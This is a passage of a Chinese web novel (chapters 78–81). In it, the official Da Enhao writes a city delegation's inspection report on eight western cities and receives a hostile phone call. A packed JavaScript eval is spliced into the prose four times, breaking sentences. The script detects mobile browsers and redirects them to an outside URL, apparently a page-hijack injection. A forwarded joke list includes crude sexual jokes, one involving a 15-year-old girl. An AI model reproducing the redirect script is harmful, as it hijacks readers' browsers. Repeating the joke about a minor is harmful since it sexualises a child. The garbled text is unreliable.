根据上级的安排，我参加了市党政学习考察团，于2008年8月30日至9月10日，赴西疆省亚心、剑犁、庭池、我省河祁的东风、大佛、镍城等8城市，在为期12天的考察中，深入所到市州的企业工厂、开发区、市场和商业步行街、广场小区等，通过实地走访，听取介绍，座谈交流，参加乌洽会，学习考察做大做强城市经济、加快经济一体化进程，搞好城市规划、建设、管理和经营，营造良好的投资发展环境等，令学习考察团一行耳目一新，印象深刻，感触颇多，深受启发，收益匪浅，现将城市建设管理方面的情况汇报如下： 一、八城市经验 （一）依托资源产业特点，确定城市功能布局 准确分析和把握经济社会发展阶段的新变化，不断深化对城市发展战略的认识，提出了新的更高的发展目标。亚心市积极争取国家和自治区的支持，紧紧抓住国家民族区域自治、支持边疆和西部大开发的三在机遇，积极推进亚庭一体化建设，打破了近邻两城市的行政区划界线，突破了亚心市和庭池州加快发展的自身制约条件，两城市的土地、人力、科技、矿产资源等得到了优势互补，形成了共享共建共荣发展的格局，从……区……区合并，建立……区，大力发展为亚庭高新技术开发新区，从经济一体化入手，亚庭连为一体，依托亚心市全疆政治、经济、文化中心地位，商贸中心、石化工业等优势，整合庭池的土地、文化旅游产业等，加快建设我国西部重要的国际商贸中心和全疆最大的制造业中心城市。剑犁市从农垦经济出发，发挥……湾艰苦创业的精神，一张规划坚持执行五十年，拉开框架道路和绿色景观工程等基础设施先行，大力发展现代设施农业，努力建设现代农业绿色生态城市。 （二）着力城市绿化景观，城市园林植被优良 八城市都能够严格执行城市规划，十分重视城市绿地和园林植被的建设，所到每个城市绿化都很高，绿树成荫，园林绿地随处可见，在经济发展相对比较落后，地方财政困难的情况下，仍然加大对城市绿化的投入，注重生态环境保护和建设，改善城市人居环境，提升城市投资发展基础设施。剑犁市现有人均公共绿地面积10.7平方米，荣获联合国“人类居住环境改善良好范例城市”奖，我国首届“人居环境奖”、“国家园林城市”等，真正成为名副其实的“戈壁绿洲新城”。庭池州有天然森林575.7万亩，草场9981.3万亩，深入开展城市建设“天山杯”竞赛和园林城市创建活动，城市建成区绿化覆盖率达到34.95%。亚心市城市生态建设成效明显，全市周边草场禁牧围栏91万亩，城区建有各类公园25个，建成区绿化覆盖率达到21.2%。……关地处戈壁，绿化工作难度很大，市委、市政府高度重视园林绿化工作，坚持生态立市，矢志不渝，发挥“人一之、我十之、人十之、我百之”的艰苦奋斗精神，开展了向荒漠要绿色、在戈壁建家园的绿化“接力赛”，把园林绿化工作纳入全市发展规划，同安排、同部署、同检查，全市人民义不容辞的关心绿化、支持绿化、参与绿化，军民共建绿化，地企共建绿化，无土买土运土搞绿化，切实完善城市绿化管理机制，制定考核验收标准，坚持因地制宜，科技绿化，以公共绿地为重点，城市道路绿化为骨干，景区、公园绿化为核心，庭院绿化为基础，环城绿化为依托，狠抓道路、公共绿地、社区、庭院绿化建设，建管并重，依法建绿，依法护绿，规划扩绿、建景增绿、拆墙透绿、见缝插绿，扩大了绿化总量，拓展了绿色空间，绿化水平不断提高，建成公共绿地322公顷，城市道路绿化率和社区绿化率分别达到了100%和30%，初步建成为一个“大漠绿洲新城”和“戈壁园林明珠城市”。东风市狠抓生态环境建设，制定了《东风市创建园林化城市实施意见》，累计投资1亿元，采取辟地建绿、退围还绿、垂直造绿等各种手段，狠抓环城林带、道路绿化、公园绿化、街头绿化、小区单位庭院绿化建设，新城区住宅小区绿地率达到40%以上，单位庭院绿地率达到35%以上，城市绿地率达到29%，城市绿化覆盖率达到33%。 （三）强化城市管理改革，市容市貌整洁亮丽 所到每个城市大都加快了城市管理体制改革，坚持不懈整治市容市貌，特别是加大城市环卫等公共设施改造建设力度，配套完善公共设施，加强公共场所的整治，大街小巷干净卫生，市容市貌整洁亮丽。亚心市非常重视城市管理工作，加快城市管理体制改革，把解决下岗失业人员就业与城市环卫改革相结合，政府拿出环卫公益性岗位，解决下岗失业人员就业，城市环卫承包到人，区域分工明确，责任明确，任务指标明确，每天经常打扫公共设施上的灰尘，确保灰尘不过夜，今天绝没有昨天的灰尘，推广沉降式地下垃圾桶等先进设施，及时清运处理垃圾，创新城市管理理念，制定和落实管理制度，强力整治违规占道经营、马路市场，第一次亮黄牌警告，第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642539|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二次亮红牌批评教育，限期整改，第三次发现坚决清理，坚持不懈抓整治，使城市面貌焕然一新，整洁优美。 （四）科学建设城市道路，城市交通顺畅无阻 八城市在城市规划建设中，共同的特点是，站得高，看得远，解放思想，观念靠前，工作靠实，坚持优先发展城市公共交通，加强公共交通立体化规划建设，城市主次干道宽敞笔直，车流量大的交通要道，普遍规划建设了立交桥等立体交通设施，基本上没有车辆拥挤和交通阻塞的现象，城市交通顺畅，方便了市民出行、工作、生活，改善了城市人居环境，城市周边的高速公路加快发展，交通运输更加便捷，营造了良好的投资发展氛围。亚心市“十五”期间仅城市建设累计投资128.4亿元，比“九五”增长了1.3倍，先后建设了一大批路桥等公共基础设施重点工程项目，全市道路总长度1226公里，万人拥有公共车辆18.59（标）台，形成了以河滩路为轴心、外环路为两翼、主次干道纵横交错的交通网络体系。剑犁市今年投资4000万元用城市建设，按照做精做优做美的要求，精巧构思，精心实施，打造一流精品工程，坚持城市规划建设，新区和开发区优先确保道路及绿化景观工程建设，新建改建市政道路和桥梁，完善市区主干道的无障碍通道建设，加快改造小区道路，人居环境显著改善。 （五）加大投入深化改革，强化城市经营管理 八城市党委、政府非常重视城市的经营管理，牢固树立起城市经营的理念，积极探索城市经营的新途径，普遍都组建了城投公司，并在供热、环卫、污水处理、垃圾处理等市政公用行业进行了市场化运作的尝试，取得了明显的成效。东风市打破由政府独家投资城市建设的单一渠道，通过盘活土地资产、激活城市存量资产、招商引资、动员社会捐资投劳等形式有效缓解了城市建设资金短缺的困难，解决了多年来政府无力解决的问题。通过市场化运作，较好的进行了老城区改造，建成了一大批住宅和商业网点，促进了城市基础设施的改善。积极吸引外商投资，实施了大明商业街、世纪新天地商业广场、富康商业街、奇林步行街建设，完成了原行署机关区域的拆迁改造。组建市经济开发公司，加强与各大商业银行的联系，累计筹集城市建设和经济开发资金5亿元，有效保障了城市建设和经济开发项目的顺利实施。镍城市成立市建设投资开发有限责任公司，整合城市优势资源，积极运作争取银行贷款，投入城市基础设施建设，两年累计融资近3亿元，新建改造了一大批基础设施工程项目，为筹集城市建设资金，推动城市建设发挥了重要作用。同时，充分利用土地这块城市最大的资源，成立市土地储备中心，负责城市存量及闲置土地的储备，对储备土地进行招标拍卖挂牌出让。 78. 第 78 章 第七十八章电话谩骂 二、意见与建议 （一）高起点规划滨河城市，高标准建设精品城市 强化规划的龙头作用，着力打造城市品牌，提升城市形象，塑造精品城市，对城关总体规划、分区规划和重大建设项目规划编制，都委托国内知名规划设计院编制，确保城市规划的高标准。聘请知名规划设计研究院，研究设计、修编城市规划、分区规划和重大建设项目规划。 （二）东扩西展、南伸北拓，拓展城市发展外延空间 优化提升滨河河谷川盆地城市服务功能，规划建设榆中盆地，有序开发北大川盆地。包括220平方公里滨河河谷川盆地老城区和175平方公里槐间盆地都市新城区，以……镇、……镇、……乡地域作为连接带，规划建设和形成“一城双核”、功能互补约400平方公里的大城市构架。其中，城市东扩新城区包括槐间……镇—……镇—……镇整个盆地，西接……山，南靠……山脉，东至……，北临……河。 （三）退二进三、出城入园，优化整合城市区位功能 实施“退二进三、出城入园”战略，优化整合城市土地资源，盘活存量土地资源，优化城市功能分区，将主城区雁滩的各类生活资料市场迁出主城区外，在……山建设东部城区物流基地，主城区西站一带的各类生产资料市市场迁出主城区外，在新城区……滩与主城区交接的南部地区建设西部城区物流基地，将主城区内的工业企业迁入高新技术开发区、经济技术开发区和其他工业园区。 （四）创新城市建设投融资机制，加快城市建设步伐提高城市经营管理水平 推进城市投融资体制改革，放宽市场准入，允许非公资本进入法律未禁入的基础设施、公用事业及其他行业和领域，推进投资主体多元化，最大限度的盘活城市存量资产。对构成城市空间和城市功能载体的自然生成资本土地、人力作用资本的基础设施及相关延伸资本的广告发布权、出租车营运权、桥梁和道路冠名权等，进年市场化运作和经营。积极推行BOT、TOT等项目融资建设模式，开成“政府引导、社会参与、市场运作”的投资格局。通过经营城市，最终使城市资本实现投入—经营—增值—再投入的良性循环。 滨河市建设管理委员会 黄惠吉 二OO八年九月十二日” 第二天，达恩豪在滨河市人大的办公楼上上班，突然他的手机铃声响了，从裤兜里掏出手机一接电话，是滨河市商务局的副局长黄如言打来的，说老乡你照顾一下我老同志两三年就退休了，材料自己写不上，还要央求局办公室的娃们写，不好意思，要不，我把局里去年的工作总结和今年的工作计划给你微信发一份，领导又不看，领导如果问你就说报了，参考了，达恩豪一听也心软了，就回答好的。 达恩豪刚关了手机装进裤兜里，手机音乐彩铃声又响了，又急促，声音又大，一听就是自己的手机，像是个急性子人打来的，就赶紧掏出来接听，一听果然是滨河市交通局的副局长，老朋友屠宁辉打来的，说达处长考察的情况你比我清楚，材料太忙没有时间写，上面领导问你就说交给你了，你写得时候参考了，“咔嚓”手机就关了，达恩豪愣在那里半天反应不过来。 关了手机，装进裤兜里，达恩豪坏坏一笑，参观考察的相关部门单位的材料一个也支望不上，一个自己给代写的，给他一条香烟用他车了，一个只交了一份单位的工作总结打算，是个老乡老同志老领导，一个就纯粹没时间写一句话推了，是答应给他帮忙解决老婆工作的，到头来，事情都干到这份儿上了，他都不能给上面的领导说实话，蒙混守关，如果问就话都定了交给他了，也写材料的时候参考了。 又是新的一天，达恩豪在滨河市委、人大、政协三大家的大院里，北楼的二楼市人大机关的一间办公室里临时上班，坐在那里心想，最后这材料非得他写不可，其他人一点忙都帮不上。 突然，“嘀嘀嘀！”自己裤兜里的手机又是这样响了几声，又是震动了几下，好像是接受到了微信短消息，短信什么的，就赶紧掏出来，点亮解锁，打开一看，是有人发来一条微信，再继续点开看时，又是单位的同事大腮帮子眼镜巴其平发来的段子，一翻还挺长的，有五十条吧，返回来从头看，具体内容如下： “1、一个地主给自己十几岁的孩子找了个媳妇，由于小新郎年龄太小，不懂人事，一切都由做父亲的代办了。这让媳妇很难堪，于是她向婆婆哭诉，婆婆听完恨恨的说：“这个该死的，跟他爹一个德性。” 2、一个25岁的漂亮女孩和一个60岁的老头结婚，结婚的当晚老头对姑娘伸出3个手指，女孩说：“哇，今晚要做3次啊?”老头说了一句“你选那个手指头?” 3、一个人对他的朋友说：“自从我和我太太买了双人床后，我们的生活就非常和谐。”朋友问：“这么神奇，是什么原因呢?”这人答：“她的双人床在纽约，我的双人床在芝加哥。” 4、有一次，食人族部落捉到了个金发碧眼的美女，正准备依照惯例把她投入油锅的时侯，酋长的侍卫走过来道：“慢着，让她跟我走，酋长要在床上吃……” 5、三个百岁寿星接受记者的采访，让三位寿星说一说他们的长寿之道。第一位寿星说：“吃饭少一口。”第二位寿星说：“饭后百步走。”第三位寿星很不好意思的说道：“老婆长得丑。” 6、男人说:你给我戴绿帽子!女人说:对!今天给你戴绿帽子,明天给你穿绿衣服,后天给你买辆自行车,叫你去做邮递员! 7、一只母壁虎对一只公壁虎说了一句话，公壁虎从墙上掉下来!(答案：母壁虎对公壁虎说：“亲爱的，我想让你抱抱我!” 8、有1个15岁女娃在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654719|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 1个毛刷厂上班。某天，惊奇发现自己的下面长毛毛了。她猜想：是因为做毛刷的原因吧!于是她找到厂长。把自己不想再干这个工作的理由说了一遍。厂长听完后哈哈大笑。他告诉女娃每个人都会长毛毛的。女娃不信。厂长于是急了。迅速脱下裤子指着自己的下面给女娃看。女娃吓一声尖叫：“不得了啊。厂长干几年。连毛刷柄都长出来了啊。 9、现在英语都说要从娃娃抓起，一日，在幼稚园中老师在教小朋友学习字母，老师说：“ABCD”，下面有个小朋友就是不念，老师就问：你为什么不念?小朋友答：我妈妈讲B是不好的字眼。老师就说：你妈的B和老师的B不一样，你妈的B是骂人的，老师的B是外国人用的。 10、某农场爆发疯牛病，一女记者闻讯赶到，采访农场主：“请问这疯牛病是从何而来的“你想想，每天都有人来捏你的MM，但是又不和你做ai，你会不会疯掉”。 11、……华：当时唱片公司本来是想把我和你配成歌坛情侣的。……哥：是吗?真可惜，当初没能和你□□!……华瞪大眼睛看着小哥。……哥：我是说交流、配对。 12、一对夫妻，早上的时候，老婆问老公：“你饿不饿?要不要给你买点油条，粥之类的。”老公：“我吃了威尔刚，我不饿!”中午的时候，老婆又问：“你饿不饿?要不要给你蒸点米饭，炒几个菜?”老公：“我吃了威尔刚，我不饿!”晚饭的时候，老婆又问：“你饿不饿?要不要给你做点东西吃，一天都没有吃饭了?”老公：“我吃了威尔刚，我不饿!”老婆急了：“那好，你不吃就算了。那你从我身上爬下来，我可是快饿晕了!” 13、生下来的人没有怕死的，怕死的都TM没生下来，所以谁都别TM的装横! 14、世态炎凉鸡最懂，人情冷暖鸭先知。 15、宝贝儿，等发工资了我就带你去洗澡! 16、和上司说美话，和下属说丑话，和老婆说谎话，和情人说瞎话，和熟人说笑话，和生人说鬼话。 17、波大精深，言简意赅的概括了作为一个优秀女人和一个优秀男人的必备要素! 18、视金钱如粪土，但所有的人都在争着做粪土收藏家。 19、读书读到抽筋处，文思方能如尿崩! 20、人总是爱欺骗自己，因为那比期骗别人更容易。 21、把我的经液(验)传授给你! 22、你当我是个风筝，要不把我放了，要不然收好带回家，别用一条看不见的情思拴着我，让我心伤。 23、我发誓，以前发的誓从现在开始都取消!我发誓以后再也不发誓了! 24、可以不好好学习，但决不能不好好复习。 25、路遇一漂亮妹妹，想和她搭灿，还没有想好切口，美女就走了，情急大喊道：前面那个美女，你的胸罩掉了! 79. 第 79 章 第七十九章临时办公 26、男人的谎言可以骗女人一夜，女人的谎言可以骗男人一生! 27、年轻的时候，我们常常冲着镜子做鬼脸;年老的时候，镜子算是扯平了。 28、恐龙说：“遇到色狼，不慌不忙;遇到禽兽，慢慢享受……” 29、再聪明的女人在自己的相貌上也是糊涂的，再愚蠢的男人在女人的相貌上也是清醒的。 30、傍大款——是最温柔的劫富济贫方式。 31、都说牛郎和织女是最痛苦的，一年只会一天。我说他们其实是最幸福的!有谁天都被思念着呢? 32、深深地伤害了最爱我的那个人，那一刻，我听到他心碎的声音，直到转身离去，我才发现，原来那声心碎，其实，也是我自己的…… 33、我把她从女孩变成了女人;她把我从男孩变成了…穷人。 34、天生下来的是雨，而不是天才! 35、“友谊第一，比赛第二”，比如说，举行婚礼时新郎和新娘总要手拉着手。 36、大学同学工作后第一次聚会选择在动物园，大家共同的理由是：只有在这里，才能感慨到自己还是个人啊! 37、我把棉裤那么一脱，春姑娘就轻盈地来了。 38、做男人，还是顶比较舒服! 39、让女孩变成女人是作为男人最基本的责任和义务。 40、我这个人最老实。从不说谎话。这句除外。 41、砍头算什么，脑袋掉了不过碗大的疤，年后老子又是一条僵尸…… 42、我不是一个随便的人，我随便起来不是人…… ……” “嘿嘿嘿！”达恩豪蒙嘴窃笑了一阵儿，平喘一下气息，在这条微信下面点了三个赞，发送过去，关手机装手机，摸一下右大腿侧的裤兜位置，继续盯着电脑屏，开始写自己的材料。 “叮铃铃！”突然达恩豪办公桌上的电话铃声响了，响得有些莫明其妙，响得有些不速之客，响得有些诡异诡异的。这个办公室的电话，以前肯定是基本不用或者是很少使用，一般人恐怕都不知道的，现在知道的人也不多。 “喂，你是谁呀？你是那个单位的？我怎么没有见过你呀？”不知道电话是谁打来的，总之是一个陌生的男人的声音，年龄不详，听口音好像是滨河本地方言。在电话里，这样向达恩豪辟头盖脑就是一顿，莫明其妙，不怀好意，特别诡异的询问，质问，质疑。 “喂，您好。我是市政府研究室达恩豪。劳驾请问您是那位？”达恩豪很小心谨慎一个人，怎么能不感觉到了电话里对方的敌意，恶意呢，就，先表明自己的身份，再反问对方的身份，反守为攻，以牙还牙，如此照样学样起来。 “你是市政府研究室的你不到市政府去，你跑到这里干什么来了？你坐在那里干啥呢？”电话里的男人顾左右而言他，答非所问，继续向达恩豪这样发难，穷追不舍，又连连质问达恩豪道。电话里这人非常忌惮他坐在这里办公，可能是自己不小心触动了这个人的那块蛋糕了，惹得他生气发怒了吧。 “我是跟市领导外出考察，回来临时在这搞几个考察的材料！”达恩豪感觉自己很儿狼狈，很不堪，心想我也不想在这儿坐，我也不想来这里，只不过是领导安排，工作需要罢了。心想，打电话这人也是个二百五，你不想让我坐这儿办公，你可以给领导说去，你给我说了也没有用呀。 “这里不是你该待的地方，那儿凉快到那儿待去！”特别不受欢迎的声音，对他在这里办公意见挺大，向他表达了强烈的不满，发出了特别严厉的驱逐令，话软事硬，说完了“哐铛！”一响，就把电话给压断了。 “……”达恩豪一时僵硬了，拿着电话话筒，张大个嘴巴，在那儿愣了半天，才反应过来，一抬手把手中的电话话筒，轻轻放回了电话机座上。从来没有遇到这种情况，被人这样在电话里挤兑得喘不过气来。 这个电话打得，达恩豪老感觉，好像是有一双隐藏的很深的眼睛，一双看不见的眼睛，在自己周围盯着他，静静地注视着他的一举一动，他感觉到后背直发凉，脑子直发怵，想尽快跳离这里，赶紧远离这个是非之地，不祥之地！ 突然，达恩豪想起一件事来，前两天，刚来市人大机关临时办公写几天考察报告，隔壁办公室市人大的两个年轻人，过来和他相见，认识一下，打个招呼。 “我们人大是个养老单位，你可别来了。你材料写得的那么好的，到比我们人大好的单位发展去好啊。”一个叫黄凯宏的年轻尕小伙儿，面黄肌瘦，小个子，长分头，就半开玩笑半认真地对他这样说道。玩笑话其实也是真话，心里话。这个比达恩豪年轻许多的青年人，防范意识特别强，非常害怕像达恩豪这样材料写得好工作能力强的人，非常害怕达恩豪抢了他的饭碗。可刚才打电话的人从声音上判断，不像是这个黄凯宏，那这个打电话的人是谁呢？达恩豪百思不得其解！ 还有一个名叫颜平胖敦敦的小伙儿，虎头虎脑，短平头，戴一副近视眼镜，一看就是个憨厚善良之人，没有什么鬼心眼，除了和达恩豪打个招呼，别的什么说都不说。达恩豪喜欢这样的人，不喜欢，甚至于特别讨厌像黄凯宏那样特别世俗自私的年轻人。 “达处长，你起草个这次我们《考察报告》的征求意见通知，下发到各考察组成员。”达恩豪正想着不速之客打电话的事，有些心神不定，神情恍惚，办公室门开着，这时走进来一个戴眼镜的小个子身着的人，站在那里，对他这样说道。这人小圆脸，黑皮肤，正是市人大的副秘书长，和他一齐出外调研的那个贺飞仁。 “贺秘书长，好的。”达恩豪站起来，迎上去，笑着这样对贺飞仁回答道。送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14665814|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了贺飞仁，他不到半个小时，就起草了这份材料。他记得，大意如下： “： 根据市人大大常委会党组书记、市□□会主任、滨河市赴西疆和我省河祁地区党政考察团团长柯贤益同志的指示精神，现将《滨河市党政考察团赴西疆和我省河祁地区学习考察报告》(征求意见稿)送你，请认真修改，并将修改意见直接修改到征求意见稿原稿上，务请带上此稿，于本月18日（星期四）上午9时，在市人大二楼东会议室，参加材料讨论会，会议不再宣读征求意见稿，请直接提出修改意见，会后请将修改后的征求意见稿原稿退交市政府研究室达恩豪同志。 特此通知。 滨河市赴西疆和我省河祁地区党政考察团 二OO八年九月十六日” “常部长，陶市长和各位考察组成员，刚才都谈了很好的修改意见和建议……我完全赞同……我谈一点我的意见，我感觉这个考察基本成熟了，基本按照原定的提纲写的，我认为大的框架结构合理，基本的内容合适……请飞仁和恩豪同志根据大家所提的意见建议，兼收并蓄，充分参考，认真吸纳，进一步完善提高……”在市人大召开的本次考察报告征求意见会议上，考察组十四名成员全员到位，达恩豪坐在一旁，埋头认真作笔记，柯贤益主持会议，听取了大家有发言后，严肃认真地这样说道。 这篇考察报告是达恩豪一个人写的，征求意见修改也是他一个人修改的，其实也没有大的改动，基本维护原稿不变，最后交给市人大贺飞仁副秘书长修改，他只加了一句话，就上报市人大主任柯贤益审定通过，定稿上报市委了。这篇考察报告，达恩豪共写了25页，大约1.3万余字。他记得，这个考察报告的大致内容如下： “滨河市党政考察团 赴西疆部分市州和我省河祁五市 学习考察报告 （2008年9月） 市委： 为进一步解放思想、推动科学发展、实现滨河经济社会又好又快发展，按照市委的决定，由市□□会党组书记、市□□会主任柯贤益任团长，市委常委、组织部常务副部长常吉乾，市政府副市长陶才生任副团长，市发改委、规划局、建管委、交通局、商务局、招商局、市政府研究室等部门和单位的负责同志为成员，组成滨河市党政考察团，于2008年8月30日至9月10日，赴西疆省亚心市、剑犁市和庭池州及我省河祁地区的东风市、雄关市、大佛市、镍城市、雷台市这8个城市，就做大做强城市经济、加快经济一体化进程，搞好城市规划、建设、管理和经营，营造良好的投资发展环境等问题，进行了为期12天的学习考察。这次学习考察，时间虽短，但准备充分，组织严密，活动紧凑，达到了学习先进经验、宣传推介滨河、寻求经济合作、增进友好往来的预期目的。现将学习考察情况报告如下： 80. 第 80 章 第八十章八城经验 一、八城市的基本经验 近年来，8城市在解放思想、落实科学发展观的实践中坚持以经济建设为中心，抢抓发展机遇，加大开放开发力度，强力推进城市建设，迎难而上，奋力争先，艰苦创业，经济社会发展取得了显著成就，也积累了许多经验。 （一）坚持解放思想，转变发展观念。……8城市迅速形成了新一轮解放思想、转变观念、加快发展的热潮，普遍把解放思想、转变观念作为加快发展的总开关和最根本的突破口来抓。一是坚持以经济建设为中心，确保发展第一要务落到实处……二是创新思路，勇于破解发展难题……三是以人为本，可持续发展迈出新步伐……四是忧患意识强烈，加快发展的氛围浓厚。8城市在解放思想、转变观念的新起点上，普遍具有强烈的忧患意识，自我加压，形成了你追我赶、竞相发展的热潮。 （二）突出规划先导，提升城市形象。8城市在贯彻落实科学发展观的实践中，认真分析不断发展变化的新形势，重新审视市情，结合自身发展的优势，立足于国际国内经济发展的大格局，明确城市发展定位，把规划摆在城市建设和发展的“龙头”地位来抓，努力塑造城市新形象。一是坚持高起点抓规划……二是立足优势资源抓规划……三是突出生态环境建设抓规划……四是完善管理体制机制抓规划……总之，8城市坚持规划先行，突出城市功能布局与环境建设的和谐，突出建筑风格与地域特色、自然景观的有机融合，坚持规划设计求新、求精、求美，城市建设各具特色，城市形象得到大幅度提升。 （三）加强城市建设，严格城市管理。在高起点规划的基础上，“大手笔”建设，精细化管理，是8城市加强城市建设、管理和经营的基本经验。一是着力加强城市绿化景观建设，努力改善城市人居环境……二是加快城市道路建设，城市交通畅通无阻……三是强化城市管理，市容市貌整洁靓丽……四是深化改革，科学经营城市。8城市党委、政府牢固树立经营城市的理念，积极探索城市建设经营的新途径，普遍组建了城投公司，并在供热、环卫、污水处理、垃圾处理等市政公用行业进行了市场化运作的尝试，取得了明显的成效…… （四）壮大主导产业，转变发展方式。8城市大都立足现有的产业基础和各方面的比较优势，通过加快建设高新技术产业开发区、经济技术开发区、出口加工区等园区建设，重新规划和整合现有的产业、企业，引进大项目、大企业和填空补白的产业链企业，推动各类产业和企业向园区集聚、向优势产业、企业集团靠拢和配套，着力转变发展方式。一是促进产业融合聚集，循环经济发展有新突破……二是大力发展商贸旅游等新型服务业，新型服务业发展有新亮点……三是加快发展生态经济，城乡一体化建设有新进展…… （五）扩大对外开放，提高招商质量。8城市高度重视对外开放，加快实施“走出去、引进来”战略，强力推进招商引资工作。一是立足优势抓项目储备。各城市不断充实完善项目库建设，建立外地和本地企业档案库、客商资源信息库和客商投资需求数据库，实行动态管理，做到向外推介一批、招商一批、论证储备一批，为招商引资工作持续发展创造条件。二是不断创新招商方式。普遍采用外出招商，参会参展招商，以商招商，网络招商等多种方式，加快招商引资步伐。三是构筑招商平台。各城市大力发展园区经济，加大投入推进园区基础设施建设，组建了开发区招商引资机构，优化了投资环境，招商引资数量和质量得到了大幅度提升…… （六）转变政府职能，优化投资环境。高度重视政府职能的转变，下大气力优化投资环境、创业环境和干事环境，为推动科学发展搭建平台，是8个城市的共同经验。一是完善产业政策，不断优化投资发展环境。出台实施了一整套各具特色的招商引资优惠政策和经济社会发展的政策措施，提供“一站式”服务，落实“限时办理”制度，为企业投资发展提供实实在在的优质服务。二是改进经济管理方式，为企业创造良好的发展条件。加强公共服务和社会管理职能，建设服务型政府，特别是在城市和园区基础设施建设上，各城市都舍得投入，不惜代价，不计成本，加快道路、供电、供热、给排水和通讯等基础设施建设。同时，大力加强社会管理和文明城市建设，营造良好的发展氛围。三是推进依法行政，为经济社会发展创造良好的法制环境。各城市努力加快法治政府建设，认真贯彻实施《行政许可法》，推进政务公开，深化行政审批制度改革，推进科学决策、民主决策，加快政府和社会诚信建设。各级党政部门及其领导干部，自觉遵纪守法，严格执行各项规章制度，不干预规划执行，不干预项目招投标和工程建设，大力推进反腐倡廉工作，下决心提高干部队伍的整体素质，切实转变工作作风，为发展创造了良好的政务环境。 二、考察团的意见与建议 滨河与亚心等8城市同处我国大西北，无论在自然地理环境，还是在发展基础、发展阶段、发展水平上都有许多相同或相近之处。因此，他们的很多经验值得我们很好地学习借鉴。结合滨河发展的实际，考察团提出如下意见和建议。 （一）继续解放思想，不断谋求发展。当前，兰州的发展正处在一个新的历史起点上。要在新起点上实现兰州发展的新突破，就必须坚持以科学发展观为指导，把解放思想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680774|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、转变观念作为首要的政治任务来抓……一要进一步加强理论武装工作……二要冲破习惯思维和传统观念的束缚……三要认清形势……四要切实转变工作作风…… （二）深化市情认识，加快发展步伐。当前和今后一个较长阶段，滨河的发展都将处在夯实基础与加快发展并重的重要阶段和关键时期，只有在不断深化对市情认识中进一步明确滨河发展定位，才能准确把握发展方向和目标，才能制定更加切合实际的措施，才能不断加快滨河发展的新步伐……一是完善思路促发展……二是依托优势促发展……三是围绕特色促发展……四是抢抓机遇促发展……五是攻坚破难促发展……六是培育优势主导产业促发展……七是强化服务促发展……八是立足和谐促发展…… （三）转变发展方式，提升综合实力。产业是城市发展的支撑，没有产业的发展就没有城市的发展，产业不强，城市不兴。滨河要在加快发展中实践好……经济发展方式“三个转变”的要求，就必须立足产业发展的现实基础和努力的方向，在经济结构调整中构筑产业高地；在转变发展方式中提升滨河的综合经济实力，增强城市发展竞争力；在做强支柱产业、发展特色优势产业、培植战略新型产业、优化产业结构等方面实现突破性发展。一是要培育壮大优势支柱产业，加快推进新型工业化进程……二是要以区域物流中心建设为龙头带动现代服务业发展，构筑三产引领经济发展的新格局……三是要大力开发文化生态旅游产业，构建支撑经济一体化发展新的增长极……四是要以发展循环经济为载体，努力提高自主创新能力……五是要大力发展非公经济，培育经济发展新高地…… （四）拓展发展空间，提升城市品位。一是要高起点规划，大手笔建设，着力打造城市品牌……二是要坚持“东扩西展、南伸北拓”城市发展战略，努力拓展城市发展外延空间……三是要“退二进三、削山造地”，挖潜城市发展内涵空间……四是要精心建设新城区，改造提升旧城区，全面推进城中村改造……五是要深化城市管理体制改革，推行网络化、信息化、精细化管理……六是要创新城市建设投融资机制，加快城市建设步伐，提高城市经营管理水平…… （五）完善机制体制，提升市场化水平。改革是城市经济发展的动力之源。改革是滨河实现跨越式发展的重大战略选择。我们要大力破除制约科学发展的机制和体制障碍，着力推进重点领域和关键环节的改革，加快建立完善促进科学发展的新体制新机制，努力提高市场化水平。一是培育市场主体，增强发展活力……二是促进生产要素优化配置，进一步完善市场体系……三是深化投融资体制改革，为加快发展筹集更多资金…… 81. 第 81 章 第八十一章请勿心急 